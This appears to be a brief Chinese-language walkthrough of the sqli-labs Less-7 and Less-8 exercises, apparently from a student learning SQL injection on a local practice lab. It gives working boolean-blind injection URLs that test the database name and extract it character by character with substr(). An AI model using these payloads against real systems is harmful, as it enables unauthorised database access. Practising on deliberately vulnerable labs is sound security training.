Less-7，8【报错+BOOL类型】
输入其他符号，id=1 ?"?" 网页正常回显，输入' 时，系统报错，证明闭合符号为 '
接着用 and 1=1 进行测试
在爆破过程中发现最后等于的值只能为数字，只能进行数字间比较
-
直接爆破
http://127.0.0.1/sqli-labs-master/less-7/
?id=1' and if((database()='security'),1,0)='1--+
-
单个字符爆破
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27%20and%20if(substr(database(),1,1)=%27s%27,1,0)=%271--+
第八题与第七题解法一样，查看源码差距为一个（）
